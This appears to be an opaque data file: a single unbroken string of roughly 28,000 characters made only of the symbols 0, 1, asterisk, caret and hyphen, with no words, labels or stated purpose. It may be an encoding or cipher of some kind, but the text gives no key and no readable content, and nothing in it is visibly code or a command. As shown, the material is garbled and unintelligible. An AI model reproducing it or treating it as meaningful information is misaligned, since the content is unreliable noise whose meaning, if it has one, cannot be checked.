10110101******-101*00101******01***-01*001******01**0010-1*00^1^1*1*1*10-001011****01***010101*101******01**^1*1*001******01**1^1101*001*1101*01101*1^1*1*1*1^1*1^1*1*******0010^^1011*-101*1*******0011**0010-0110101******0--*0101******1**010-1**01******1***1101**01*11****011**1*-*0101*-**^^11010101*00101*00^11011*******************001011*01*01*001*01*1*1101*01*1*1101*01^1*011****001***01^1^-0011*00-10-11010^^11010-0-0-11*1*^-0-10-11*00-*1*1*-----10--1*01101*-*1*^1^1*01101**1*00^1^^101^-*11*1*1*1*0^1*1*1*-----10--1**11*-*1*^1^1*1*^11*0110-11*11*^1*1*0^1*1^1**11010-01*0^1*1*1*-----10--10^1011*-*1*^1^1*01011*1011*0110101******1011**010^-01*^-10-11*011*******1^1011*101*001*00101*01*1*011*******10101**10^1*1010-11*11*110-11*0110--0101*1011*-----10---10-1*-*1*^1^1*10-**1*01*1^-01*^101^-*10101*01*1*0101*01^1*11011******0-1**10-0110101******0--*0101******01***^1**1******01**^1101**^^1*01*1**1*01*1*^10-11010^^1101******11*1^1***01*010^1********11010101*001*1011*1*1*--------*011*00-*1*^1^1*-01**1**110^110101******0--*0101******1**0^1^1*001******1***01*1*00^^1*01*1**1*01*1*^1*01^1*0101^10^1*1*1*1*1*1*1*--------0010101*0-*1*^1^1*^11*0^1*1^1*01101*1*1*1^1*-*00^10-11010^^1101********0-1*1*00^1*^1*****01***110101*00^11*^1*1*--------0^-*0-*1*^1^1*0011*0-11*^1**1101**01101**00--101101*1**00--^101*110101******0--*0101******11**1^1**001******11**01***001*11****01**01*001*0101*0101*11011010^1*0010^-01^11*001*0011*00101**1*01*1*1**00--101101*1**00--^101*110101******0--*0101******1**01^11**01******1**001*1**01*11****001***1^1*10^-01*01*11011**-1^1^1*1*001*0101**1*01*1*********11*11********001^11*****001**0101*****************001**0-11*********1*1011*****001***01*********1*-********01^-1*****01**0101********************010^101*****01**0-11*********1011*0101*^1*^1*1*01*^1^1*^1*0-11**1*01^1*110101******01*101*101******01**10^-*001******01**-10-*00^-*001*1*011*001*1*-*001^1*0101^1*01*1*1*-1*01*1******001**01*-*-**1*1^1*01101*-1*01^1*110101******0010-*0101******11**-00-*001******11**1*0-*001*11*001*1********************1*1*******************011011*********11011********************11*00101*1**^1*1**00^1^1*11011*011*001^1*110101******01*101*101******1**001*1**01******1***0101**0^110101******0-*1*101*1101*-11**11*-11*011*******011**0010^^11*-*00101101011*00-010^1*001**********^1*00^101*001*1*001*001*1*101*001^1*0101^10-*01*1*1011*01*1******011**1*1011*-*-*01^1*01101*1011*01^1*110101******0010-*0101********0010101011*001********001^1011*001*01*001*1*-1*-0101*-1*1^1*^1101*******1*110^1**1*010^1*****01***-01**1*1011*1*1*******1**0011*^-*01*001*1**1010-0101*-1*1^1*^1101*****00^1*-01011**1*010^1^1*0-11*^11*1*1*001*001^1*110101******01*101*101******11**-0-1*001******11**10--*001*11****001***1^1*10^^11*01*11011**-1^1101*01*001*0101*0101****1**001101*0--********01*11******************************010^1********010^11*****************************************01*0101*^-1*1*1*0-1*1^1*11011*-----110--10101011*-*0011*1^1*0^1*-11*^1*011010^^10-11010^^1101*****00-01*00-01**1*010^1********1101^1*00^^11*1*1*-----110--*0-1*-*0011*1^1**11**1**110^1**00--10-1*01101*1*1*-----110----11*-*0011*1^1*11011*01101*1^1*-01*^10-11010^^1101*******^1101***01*010^1*****01***^-*001*1011*1*1*-----10--101011**-*0011*1^1*^1101********0--01*00^1*^1*****01**00-*1*00^11011*1*1*10101*00110^1**00--101101*01101*1*1*-----10--1011011*00-*0011*1^1*01011*01101*1^1*10-*0011*00101******00101^1*0101*01****01**010-011*010-0^^1*******001*0^1011*101011*0^--010^1*^-110110-11*00-*1*1*-----10--10101101*0-*0011*1^1*0101*0-11*^1**110^1**00--^-*01101*1*1*-----10--10101011*0-*0011*1^1*01101*-11*01101*1^1*^11*0011*01^1*1*******0011**1011*1*11*1010--0101*1101*-11*-----10--101*001*-*0011*1^1*110110^1011*1*^1011*10-11*11011*1*1*0-**110^1**00--1*11*01101*1*1*-----10---10^1*-*0011*1^1*00-*01101*1^1**11*0101*00101****01**0^1*1^-*110-11010^^1101*******110^101**001*010^1^1*0-11*01011*1*1*-----10--110101101*-*0011*1^1*1*^^101*-11*11011*1*1*0011**110^1**00---101*01101*1*1*-----10--1*^11*-*0011*1^1*-1*0-11*01101*1^1*0-1*1011**101*^10-11010^^1101******001^1^101**01*010^1*********00-*001*1011*1*1*-----10--101^-*-*0011*1^1*1101*0-11*^1**110^1**00--110-*01101*1*1*-----10--10110-1*-*0011*1^1*00101*-11*01101*1^1*01011*01*101011****001***1^1*10^^11*01*11011**-1^-01*1*001*0101*01101*0011*01*1*1010--0101*0101*-11*--------01101**-*0011*1^1*^1101******--101101101*001*010^1**********01*00^^11*1*1*10101*00110^1**00--1^11*01101*1*1*--------0^11*00-*0011*1^1*^1101******0^1^-101**1*010^-010^-11*^11*1*1*01101*1^1*00-*1101**11*01*1*1010--010^1011*0-11*--------0-001*0-*0011*1^1*10101*-11*^1**110^1**00---011*01101*1*1*--------0-101*0-*0011*1^1*^1101*****00-01^1101***1*010^10-1^-11*^11*1*1*01101*1^1*11011*01*101011****01**01*001*0101*0101*11011010^1*0010^11*^11*00^10-*00101*-01*0011*01*1*^--1010^-01*-*0-0101*0011*1^1*1*1*-11*011**0110^1**00--101011*01101*1*1*0010^-0101*0011*1^1**01*-11*01101*1^1*01101******01**01^11********001^101********0-00101******************00^1*********0^11******01**0--01********10101011********1010-1********1101011*****001**0-0011********0-*11*****01**0010^1*****001***-01********01101*1*****01**0-11******01**0011*******1**00-^1*****01**0-0011*****001**01^^1*****01**010-101********--********001101*1********-01*101*1*011*1*1**11*1^1*1^1*-11*00-*1^1*001****01*****0--011011*1^1*001*******0-11010--001011*1^1*001*******010101010--0^11*1^1*001*******-1*10--011*^1^1*001****01**001**0--001^^1^1*001****01**0-010^--001101*01^1*1**11010^1*1******00110-******11**0--**00^1**001^11011****10101*01*******-*0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******-*0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11*******1*1011*101*11*******011**0010^-01*-*00101101011*00-001^1*001*^-0-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1**00---------01**-*01*001^1*^1101*****00101010-**1*001*010^1********10110101*00^101*001*1*01010^-*00--------1^-1*-00^11*--------001011*00-*01*001^1*00-**********1*0010-0010-01*011**1*0--------001*1*0-*01*001^1**11*0011**01101*01**1**011*00101101010^1*01**101**011010-01*011*00--------*1101*0-*01*001^1*^1101*****0010^-00101**00^1^^1*****01****1**01*11*001*1*1101*00101******0011010101*10^11**01**--------1010-*0-*01*001^1*^1*0-11*1101*00-11***10-010-*01101*^--------0^-1*-*101*0-11*--------1101*1*-*01*001^1*^1101*****00-*-10-1**1*010^1*********00101*00^101*001*1*********10101*********1**0101*101*01^11*00^1101010^110-11*1*0110101**01*00--------1*1101*-*01*001^1*^11*0101*001101*--------110-01*-*01*001^1*01011*01^1*11*******0-0011*01011********1101^1********0010101********01*-********0^-1********010-001********1101^1********101*1********00-**********011*********101*01******************0010-001********0011*0101*1*1*001*1*********101*1*0-*11*001^1*001****01**0^110^--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1******01010-*****001**011****0011***01^1^1***00--------01011**-*01*001^1*10-*01010^1*******0011**1010-0-*00--------1^-1*-0010-*---------101*00-*01*001^1*^1101******0011*1*001**^1^^1*****01**010-01**^-*001*1*********10101*010-0010-01*011**1*0--------001^1*0-*01*001^1*^11010^-00-11*1*^1*****01**00-^1*00^101*001*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------0101011*0-*01*001^1*1*^-110110-11*011*001*1*1101*00101*******00^--011011011******011**0011*101**--------01*001*-*01*001^1*1*^-010^-11*101*001*1*1101**101*--------0^-1*-001101*0-11*---------0^1*-*01*001^1*-01**********1*********01**0101*101*01^11*00^110^--0-11*1*011011**001*00--------*01101*-*01*001^1*10-*0101*001101*--------010-01*-*01*001^1*0101*0-11*01^1*11*******101^11*01011********-*1********0-1*********0-0011********0-1*********0^11**********00101********-1101********0-1101********0-00101******************00^-********0010-11*********11*0101*1*1*001*1*********011*1*0-00-*001^1*001****01**0^110^--0011*001^1*001****01*****0--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1*******10-*****001**0-****011***01^1^1*1*******0010101*********011*******^1**-101*****01**001*-*****0-**1011011**********001*******0010101*********011*******-**11**********01101******011**1011011****************00101^1*001********001010^^1*0--------0-*1*-001*0^1^1*01101*-----^---11*--00^101^-*10-*01*1*-1*01*1*--------1*0101*-001*0^1^1*^11*-1*01^1**11010-01*-1*01*1*---------10101*-001*0^1^1*0-1*-----110--0-*10-1^^11010-01*011****001**01010110-10110101*001*1*-*001*1*---------*11*-001*0^1^1*11011*-*001^1**11010-01*-*001*1*********01^1*********01011*********1^1*********-*********001^1*********01011******************************-*1********0^1*0101*101*0^1*1*1*0^1^1*-01***********0010-01101^1*********11*0010-0110101****01**00101*-101101101*01*1*011****001**1^1^-101^11*******010^11*101*1**1101*01*1*011****001**-01^-101^101*01*1*1101*01*1*011****001**10101^-10110^1*01*1*1101*01*1*011****001**^-00-1011*01*01*1*1101*01*1*1101*01^1*011****001***01^1^-0^1*0--------^10-*-00^110101*0^-11*1*^1*****01****001*001*1101*1*1*-----10--10-011*0-00-11*1^1*01101**********1*0^-*101*01*1*--------^10-*-00^11010-*10-11*1*^1*****01***-**00^1^1*1*1*-----10--11011*1*-00-11*1^1*0011*0-11*********^1*0010-*101******001*1**10^^1*01*1*--------1^-1*-*1011*-----10--1*10101*-00-11*1^1*^1101*****0010^1101*0101*001*010^1*****001**-*1**1*0101*1*1*********10101*010-00110101******010-1*010^11011*-11**01^-11**1*01*1*-----10--1101^11*-00-11*1^1*00-*0101*01^1*011****001**00101**101*11*001*1*110101*******-01*101******01**110101**01******01**11*01**1*11****001**10110110-101^11*******011**00101*0011*-*00101101011*00-0101101*001*********1010101*00^-*001*1*101*001*1*011****01**0^-11*101******01***-1**1******01**1101101**^--------^10-*-00^1101*****00--0^-011*001*010^10^1*-11*-01*1*1*--------10^1*00-00-11*1^1**11**********1*0^-*11*001*1*--------1^-1*-*0-*--------010-*00-00-11*1^1*-01**********1*0^-00110101******010-1*0101******1**001*101*001******1**0^1*1*001*101*01*1*--------*1101*0-00-11*1^1*^1101*****001*011010-101*00^1^^1*****01**01011*1*00^10101*1*1*0101*01^1*011****001**10101**101*11****001**10110110-101^11****01**01*001*0101*0101*11011010^1*0010^-*0011*001*0-*00101*-*001*1*101*001*1*--------0101*1*-00-11*1^1*11011*^1*01^1*011****001**10110110-101^11*******011**00101*1011*-*00101101011*001^101101*001*1010^-11*-*001*1*101*001*1**1*01^1*011****001**10110110-101^11****001***1^1*101*1101*01*11011**-1^11*^1*001*0101*-*001*1*101*001*1*********1011*1*****01***1*1****************01**0-11*********00110101********^1011*****001**011*11*********10-1********-011******1**00101^1*******************0110101********1011*1*****01**011*11********00-*0101*10-11*1*1*-11*1^1*1101*0-11******01***010-^-00110101******0010^1*101******11**0-01**01******11**10-01**1*11****011**1*-*0101*-**^^1101010^101101*001*1011*******************00101*001*01*11****001**10110110-101^11****01**01*001*0101*0101*11011010^1*0010^1101101011*001*0-*00101*-*001*1*101*001*1******001**01*11*0-00-*001^1*01101*--------110-1*0-0010-*1^1*^11*011*001^1*011****001**1^1**10^110101******1*101*0101******1**0-01101*001******1**011011011*00^110101******011*1*0101******01******01******01**0^101**^110101******0^^1*101******11**10-001*001******11**110-11*001*01*001*1*--------^-01*-0010-*1^1*01101******001***^-00-*11****001**1*-0-101^11****001***1^1*10^-01*01*11011**-1^101^11**1*0101*101*001*1******************************01*011********001^11********00-101*******************01^11**********1*********001*0101*1010-*1*1*10-*1^1*10-******011**0101*010-01101^1*********11*0010-0-01*001^1*011****001**01^1101^-*1*001*1******************************0^1*********0^1********************101*00101*1011011*1*1*11011*1^1*^11*-----1^-1101*11*0-*^1*1^1*1101*0-11*********^1**0-00--------^10-*-00^1101********0110^11*00^1*^^10-0-11*1^1*1*1*-----1^-11**01*-*^1*1^1*^11010-11*-11*1*^1********1^^1*00^^11*1*1*********0^1*^-001**00---001*-11**01*1*1*-----1^--0-001*-*^1*1^1*^110^110-0-11*1*^1********010-01*001*0011*1*1**01*1^1*-01*--------0^-1*-00^1*0-11*-----1^--00-01*-*^1*1^1*^1101**010-11*1*^1********0101*1*00^^11*1*1*********0^1*^-001**00--101101**01*1*1*-----1^--0101011*-*^1*1^1*0101101*011*1*^^1*10-11*1^1*1*1**01*1^1*0^1*-11*001*001^1*0101^-11*01*1*0-*01*1*--------0^-1*-*^1*-11*-----1^--010-1*-*^1*1^1*^1101*****001011*10101011**1*010^1********1101*1*00^-01*1*1*********10101*^-001**00--11*1*-11**01*1*1*-----1010--0101**-*^1*1^1*10101^-11**01*1^1*1^1*-11*-----1010-1101*1*00-*^1*1^1*1*1*-11*******1*00101*00^-00110101******-01101*101******11**-*1**1******11**1*01**01*01*001*1*--------0^-1*-0010101^-11*-----1010-11*^1*0-*^1*1^1*1011*0-11*********^1*0^-001**00--10^1*-11**01*1*1*-----1010-1^-01*0-*^1*1^1*0-1**01*1^1*1101*0-11*-----1010-11*1011*0-*^1*1^1*^1101*****00^1*110-01**1*010^1^1*0-11*-01*1*1*0101****01**10110^-10110110101******0-*1*101******11**011011**01******11***-**01*11*******00101011*10^^-*011*001^10^-11**^10-*********10--*001*001*0-*00--------1^-1*-*-1*-----1010-1101^101*-*^1*1^1*1*^11*0110-11*1^1*1*1*********0011*0^-001**00--10101*0-11**01*1*1*-----1010--0-101*-*^1*1^1*0-0^-11**01*1^1*0-1*-----1010--00^11*-*^1*1^1*^110101*^-001010-11*01101*1*1*1*^1^11*01101*1*1*--------01010-*-*001101011011*1*^1*********^11*001*0011*1*1*-----1010--0010-*-*^1*1^1*^1101*******0^1*01**01*010^1********0101^1*00^-01*1*1*********10101*^-001**00--110-**01*1*1*------0-11*1**0-*^1*1^1*^1101******01*1**101*001*010^1*****01****101*001*0101*1*1**01*1^1*^1*0-11*0011*00101^11011*01*1*0011*01*1*--------^10-*-00^1101******1101^^11011*001*010^10-1^-11*-01*1*1*------0--11011*00-*^1*1^1*^1101*****00^101010-01**01*010^1********01*001*00^-01*1*1*********10101*^-001**00--10-1**01*1*1*------0-110110101*0-*^1*1^1*^1101*****0010^^-10101*00^1^^1********0110-1*00^10101*1*1**01*1^1*10-*1011*01^1*01101*--------0^-1*-0011*^-11*------0-11*-1*0-*^1*1^1*^1101******-*101^-*001*010^1101^10-11*-01*1*1*********0^1*^-001**00--^-**01*1*1*------0-1^10^1*-*^1*1^1*^1101******1*1^-*1*001*010^1*****01**00101011**1*0101*1*1**01*1^1**01*-11*-1*01^1*01101*--------1^-1*-0011011*------0-1101101101*-*^1*1^1*^110^-1*1*^1********0-^1*001*0011*1*1*********1*1*^-001**00---11*0-11**01*1*1*------0-110^1011*-*^1*1^1*1*^1*****01**01*-**^1^1*1*1**01*1^1*0-*0-11*1011*00101****01**0^1*1^-0--------0^-1*-*-*0-11*------0-110^-1*-*^1*1^1*1*^-01*0-11*01101*1*1*********0011*0^-001**00--11011*0-11**01*1*1*-----^--^1**0-*^1*1^1*01010^-11**01*1^1*01011*-----^--10101**-*^1*1^1*0011*0-11*0101****01**10110^-10110110101******0-*1*101******1**00-1**001******1***001**001*11*******00101011*10^^-*011*001^10^1***0^^11***10-11*011*00-*00--------0^-1*-*1010^-11*-----^--*^1*0-*^1*1^1*^110^1*^-11*1*^1*****01**00-0101*001*1101*1*1*********0^1*^-001**00--1^11**01*1*1*-----^--00^11*0-*^1*1^1*00110^-11**01*1^1*-1*0-11*0-*01^1*0101****01**00110^-10110-*00--------0^-1*-*0110^-11*-----^--**01*-*^1*1^1*^1101******00110^1^-*00^1^^1********11010-*00^10101*1*1*********10101*^-001**00--10-*0-11**01*1*1*-----^--*00101*-*^1*1^1*1*^1********^-01*001*1101*1*1**01*1^1*1011*0-11*--------01^-*-00^1101*****001^10-**1*001*010^1********0-0101*00^-01*1*1*-----^--011*11*-*^1*1^1*^110101*^1********^10101*00^1^1*1*1*1*^--*-11*1^1*1*1*********10101*--00^101^-*^11*01*1*1011*01*1*--------00110-*-001*^1********^-01*001*1101*1*1*-----^--1^-1*-*^1*1^1*0101*0-11*********^1*0^-001**00--^11*0-11**01*1*1*-----110---**00-*^1*1^1*-10^-11**01*1^1*11011*--------0^-1*-001*0^-11*-----110--01011**-*^1*1^1*^1101*****00-00110110^1**1*010^-110110-11*-01*1*1*********0^1*^-00110101******-01101*101*10-10-11*10-*-11*011*00--------0^-1*-00-10^-11*-----110--01*01*0-*^1*1^1*00101*-11*********^1*0^-001**00--101011**01*1*1*-----110--1010101*0-*^1*1^1*00-**01*1^1**11*-----110--*0011*0-*^1*1^1*^10^-11*0101*0110101******--*00101******11**00--*001******11**01*-*001*11*******00101011*10^^-*011*001^10110^1**01*1101**01^-11*011****01**0010^11*101******11**0110-**1******11**-11**001*0-*-11*--------1^-1*-*0-*-----110--10-001*-*^1*1^1*^110101101*0-11*1*^110110^-11*01101*1*1*********-1*0^-001**00---101**01*1*1*-----110--01101101*-*^1*1^1*-00^-11**01*1^1*00-*0011*01^1*110101******01011**101*********11*01*001*********0010101*001*11*00--------0^-1*-00-00^-11*-----110--11011011*-*^1*1^1*^1101*****00--010^-1*001*010^1*****01**01^1**001*0101*1*1*********10101*^-001**00---011**01*1*1*-----110--010-11*-*^1*1^1*10-**01*1^1*^11*1101*00101****01**11010^1^-0--------1^-1*-0010-*-----10--11*1**-*^1*1^1*-1*0-11*********^1*0^-001**00--1*11**01*1*1*-----10--^^1*00-*^1*1^1*-01*-11**01*1^1*0101*0-11*--------0^-1*-00-11*-11*-----10--1*-*00-*^1*1^1*^1101*****0010^^-*1**^1^^101101*10101*1*1*********1*1*^-00110101******11011**101******1**0101101**01******1**0010-**01*11****011**1*-*0101*-**^^110101010101*1*001*1011*******************00^1*01*01*001*0--------0^-1*-00-01*-11*-----10--1^-1*0-*^1*1^1*10^^-11*********^1*0^-001**00--1^1*0-11**01*1*1*-----10--11011*1*-*^1*1^1*01101*-11**01*1^1*1*1*-11*******01*001*001*-00--------^10-*-00^1101011010110-11*1*^1*****01**011***00^1^1*1*1*-----10---110101*-*^1*1^1**10^-11*********^1*0^-001**00--1*01*-11**01*1*1*-----10---*011*-*^1*1^1*^1101******-*01*-**^1^^1*****01**00^^1*00^10101*1*1**01*1^1*0011*0-11*1011*01^1**11010-01*1011*01*1*--------0^-1*-001*1^-11*-----10--1^10-*-*^1*1^1*^1101*****00101010^-*1*001*010^1*****001**11011**001*0101*1*1*********10101*^-001**00---01*0-11**01*1*1*--------^1**0-*^1*1^1*^110101*^10-*0-11*1^1*1*1*1*^1*****01**0--1**^1^1*1*1**01*1^1*01101******0101**011******001**001^-******1*00^11******011***01101********0-101******1***00-*****001**01011*******1**0^11*********00-1*****001**10-101******1**001101*****0011***11******01**01*0011********01*001*****01**01101011******1**0-011********0-10101*****01**0101^1*****0011**110^11*****01**001101******011**011011********00-*01********--******001*00-*1*****00101**1101101****************1**00101*1*****011**1*-*****0011**010-11*****001**1**1********10--********0010^1******1*00^-01*****01**001^-*****0101*001*1101*****0101**01^1******01*00--11*****001**0-******001**001101******011**-^1******01***0-*****011**0011**********011******001**110-******101**01*01******1*00101*11*****01**0-001******1***1^11*****011**1011*1*****0101*00-1011******01*001**1*****0101*001^11******11**-^1******1***10101********01101^101*^^1*1*1*0^1*1^1*00-*-11*^11*1^1*001****01**0-010^--*011*1^1*001****01*****0--0-01*1^1*001*******-1*10--001101*1^1*001*******0-11010--010101*1^1*001****01**0^110^--*101*1^1*001*******010101010--01^1*1^1*001****01**001**0--001101*01^1*********1***-001*1******01^-******101*0^-***0-***1^11011****10101*01*******011*0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******011*0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11*******110^11*101*11*******011**00101*1101*-*00101101011*00-1*101*001*********1011011*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^--------110-1*00-*10101*1^1*11********^11*01011*****************************0-********************0011*********00101*00101*10^1*01*1*^1*01^1*^11*01010^--------01*1*00-*01*001^1**11*--------01^-*-00^1101********00^^1*00^1*^1********0-0101*00^-*001*1*--------10-1*00-*01*001^1*01011**********1*010-^^110^10110^101*0-11**1*0-*******1*1*0-001**^1101******001**0110-01*001*011******001**00-11**01*101**011010-01*011**101********101*0101*01*0011011******011**0011*-**11011******00-**11*101**---------0-*0-*01*001^1*^1101011*^-11*1*^1********1101*1*00^-*001*1*--------01^-*-00^1101*****00^1*0--**01*010^1*****01***-11**^101*001*1*--------00-001*-*01*001^1*1*^101101010-11*011*001*1*********0011*********01**0101*101*01^11*00^110^-*0-11*1*011*1**-*0101*00--------010-01*-*01*001^1*^1101******110-001*11**1*010^1********10-001*00^101*001*1*0101*001101**********^1********00101101*********0^1********00110-*********11011********0-00101********-01*********-01*********-10101*******************101*0101*1*1*001*1*001*001^1*01101*-*001^1*001****01*****0--0011*001^1*001*******0-11010--0101*001^1*001*******010101010--001101*01^1*********1***-001*1******00^-*****001***0101***0101***1^1^1*********--------***00-00101*001^1*^1101******1011*10101101*00^1^^-001^-11*-*001*1*01010^1*******0010-01^10-0-*00--------^11**-00101*001^1*^1101********00-1101*00^1*^11*-0-11**1*01*1*--------01^-*-00^1101*****001*010110-11**^1^^1*****01**01*^1*00^-*001*1*--------0-11*00-00101*001^1*0-1**********1*010-^^110^1011010^1*0-11*^1**01******0011011*011011**01*011******0011**011***0^1011******001**001*011*001*101**011010-01*011*00--------01^11*0-00101*001^1**11*1101*00101****1***1*--011011011******011**0011*101**--------010-1*0-00101*001^1**11*1101**101*--------01^-*-00^1101********0-1*1*00^1*^1*****01**01^^1*001*11*001*1*---------0^1*-00101*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^110^-0010-11*1*011011**001*00--------1*1101*-00101*001^1*00-*0101*001101*--------110-01*-00101*001^1*01101*01^1*11*******-*11*01011*********01101********101*1********0-^1********00-^1********-01101*********11*********-0011********01^-*******************11*11********00-*********00-**********11*0101*10101*001*1*********101*1*0-*001*01^1*001****01**001**0--0-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******01*-*****001**01*01***0101***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11********************1101******101**0101011*****001**^11******011**110-01********01**1*******0010101*********11*******0101**1*11********011*011******1*00-1^1****************00101^1*00^1010^-***************************************************************101*00101*101*0^1*1*1*0^1^1*-01*00-0110101******001^^-11011011011*******101*01101*0---01*00^1*******************001011*********01011******************************00101*00101*10-11*1*1*-11*1^1*01011*001101*-10110110^-010^10-*1^1*01101*-----10--11*01*10-*101****01**010-*0010^1101*00^1*-0010-010^10-*1^1*^1101******0011*001*1**^1^^1*****01**010-01**1*0101*1*1*-----10---10^--^^101^-*^11*01*1*1011*01*1*001*-1010^10-*1^1*^1101*0-00-11*1*^1*****01**00-^1*001*1101*1*1*1011*01^1**11010-01*1011*01*1*********0^11*********^11******************************0^11*******************010101*********11*01*********01*0101*1010-*1*1*10-*1^1**11****-101101^^11**0-10110101****01**00101*-101^101*01*1*-**110--0101*-1*--------101^1*0-0011011*1^1**11**1**1101*101*01*1*0101*01^1*011****001**-10-*10^11**^1*01*1*--------11*11*0-0011011*1^1*1*^1*****01**0-***01*^1*1*1*^1*01^1*011****001***0-1*101*1101*011*******011**00101*1101*-*00101101011*001101101011*001*0101*-11**1*01*1*011*****1**^11*00101*001**1****001**11011*0--*01*01^1*011****001**-0-1*10^-*001*1*0101*******0-11*0101*11*001*1*00^10-010^11011*1^1*01101*-*001^1*011****001**1010-1*101*101****1***101*-101^11*****1*00101101*00101*11*001*1*001****001**01011*0--0011****011**0011*1*101*^11*1*110101^1^1*01*001*******************01101*01*01*-1*********1^^1********001101*********^-********01101*1******************001^^1********1101*1******************001*11********00^1*0101*1011011*1*1*11011*1^1*01011*********011*-00-00110101******-01101*101******11**-01**001******11**1*-**1*11*001*1*--------101011*00-00^11*1^1*01101*011*001^1*110101******0-101*0101******1**010101**001******1**0-001**01*101*******01*10-101101*********00^1101*0--10-*00^1*0-*01^1*011****011**101*00-10110^1*0011****001***1^1*101*1011*01*11011**10-00^-**001*0101*101*001*1*101*001^1*0101^11011*01*1*0011*01*1******01**00-101*0-001011*01^1*01101*0011*01^1*001*001*1*001*0-010^^11*1^1*^11*001*001^1*110101******01011**101*0110^-11**11*110101******0-*1*101******11**1*101**1******11**-1101**1*11****011**10-001*10^1101**-^1^^-*11**1*0101*^11*1101*0-11*011****01**0010^11*101******1**01101***1******1**001*11**1*1011*-11*1011*0011****001**^-11*101*001**11*00101****01**^-*0010^1101*00^1******01**01^1011*-********0010-01********0101*********001*101*********01101*******************1*101*********01101********************00101********^1*0101*10^11*1*1*^11*1^1*01011*-----^---0-*0-001*1*1^1*^1*0-11*^1*011010^^10-11010^^1101*****00-0-01*-1*001*010^1********0-*1*00^-01*1*1*-----^--0^^1*-001*1*1^1*1*^1**10-11*0^1*1*1*0011**110^1**00--10-1*-1*01*1*-----^--10^101*-001*1*1^1*-1*0-11*-1*01^1*-01*1010--010^-1*0-11*-----^--10101101*-001*1*1^1*0011*0-11*^1**110^1**00--101101*-1*01*1*-----^--101*11*-001*1*1^1*0^1*-11*-1*01^1*00-*1010--0101*0011*-11*-----^--10101011*-001*1*1^1*^110101*^1********1^^1*001*^1*1*1*1*^101101*-11*0^1*1*1*10101*00110^110101******-01101*101******11**0^101**1******11**101011**0^110101******0-*1*101******1**011*101*001******1**010110101*001*11****011**0011*1*101*^11*1*11*1^-0010-*001*******************0-1*01*01*-1*011****01**0010^11*101******01**011011**01******01**-1101**1*1011*-11*1010--0101*^1*-11*-----110--1^11*00-001*1*1^1*00101*-11*^1**110^1**00---011*-1*01*1*-----110--11*01*0-001*1*1^1*^11010-0-0-11*1*^1********10-001*001*^1*1*1*-1*01^1**11*0101*00101****01**11010^1^-00110--0101*0011*-----110--1*011*0-001*1*1^1*11011**1**110^1**00---101*-1*01*1*-----110--*0-*0-001*1*1^1*1101*0-11*-1*01^1*11011*-----110--00-11*0-001*1*1^1*10-*0101****01**01010^-10110110101*******0-*0101******1**0110-01*001******1**01^1101*00^110101******0-*1*101******1**01*1011*001******1**0-11011*001*11****011**0011*1*101*^11*1*11*1^-0^-*001********************01*01*01*1011*011****01**0010^11*101*1011*-11*1^-0-11*00-*-11*011*00^10-11010^^1101********001010-*00^1*^1********00101011*00^1^1*1*1*-----110---01011*-001*1*1^1*^1101******--*101**001*010^1********001*01*00^-01*1*1*10101*00110^1**00--101011*-1*01*1*-----110--1^-1*-001*1*1^1*01101*-1*01^1*^11*1101*00101****01**0^1*1^-0^10-11010^^1101********00-0101*00^1*^1*****01**01^^1*001*1101*1*1*-----10--^101**-001*1*1^1*^11**1**110^1**00--1*11*-1*01*1*-----10---*1*00-001*1*1^1*1*^1*****01**0-***01*^1*1*1*-1*01^1*10-*-----10--1101011*00-001*1*1^1*01011*-11*0101****01**01010^-10110110101*******0-*0101******11**00-001*001******11**0010^1*00^110101******0-*1*101******11**01*101*001******11**00110101*001*11****011**0011*1*101*^11*1*11*1^-0^-*001*******************01011*01*01*1011*011****01**0010^11*101******1**0^1101**1******1***0011**01*1011*-11*011**0110-11010^^1101**010-11*1*^1********010-01*00^10101*1*1*-----10--^10^1*-001*1*1^1*^1101*-00--0101*-0-11*1*011*10^110-*001*******010101010--01*^1*****01**011*001*001*01*******0-11010--*****001**011*001*001*01*******0-11010--0010-00-11*1*^1*****01***^1**01*^1*1*1*1^11*0110^1**00--^-*-1*01*1*-----10--10-0011*-001*1*1^1*01011*-1*01^1*0-1*1101*01^1*0101****01**^10^-101^11*00^10-11010^^1101*******10110101^1*00^1^^1********00-011*001*0101*1*1*-----10--11*-1*-001*1*1^1*^110101*^101101010-11*1^1*1*1*1*^1********0101^1*00^1^1*1*1*10101*00110^1**00--110-*-1*01*1*--------1011**0-001*1*1^1*^1101********011010-*00^1*^1*****01**011*-*001*^1*1*1*-1*01^1*01011*1010--0101*0101*-11*--------^101*00-001*1*1^1*10101*-11*^1**110^110101******-01101*10^1^1*-11*0010-0-11*110101******0-*1*101********0011*001*001********001011*1*001*11****011**0011*1*101*^11*1*11*1^-0010-*001*******************01011*01*01*-1*011****01**0010^11*101******11**00101101*001******11**10-011*001*0-*-11*1010--010^1*1*-11*--------1010-*0-001*1*1^1*1^1*-11*^1**110^1**00--1^11*-1*01*1*101*0-010^1*1*1^1*0-1*-1*01^1*01101******01***01101*****001**00101011*********110101****************1**0011**********001011******1**0-101*********-******001***^11**********01*****001**00-101*****001***10-*****01**0011*11*****011**1101*******1**00-011*****001**10-******001***10-*********1******0011**1011*******1**1*1******01**00101011******1**-101********00--01*****01**0^1*1*****001**010^1********011*******01**00101^1********11011*101*101*1*1*1*1*1*1^1*-01*-11*-01*1^1*001*******-1*10--001101*1^1*001****01**001**0--010101*1^1*001****01**0-010^--*101*1^1*001****01**0^110^--01^1*1^1*001****01*****0--00^1*1^1*001*******0-11010--001101*01^1*1**11010^1*1*******00-******11***01****01**001^11011*010101*11*00-----10---*001*-001011*01*^1*****01**01*-**1*001*01*1*-----10--11*^1*-001011*001011*---------00-*-00^1101*****001011*11*011**1*010^1********1101*1*001*11*001*1*-----10---010101*-001011*0-1*0-11**********1*0^-001**00--101011*-*00-----10--^-101*-001011*0-01*1101*0-01*--------0010-1*-00-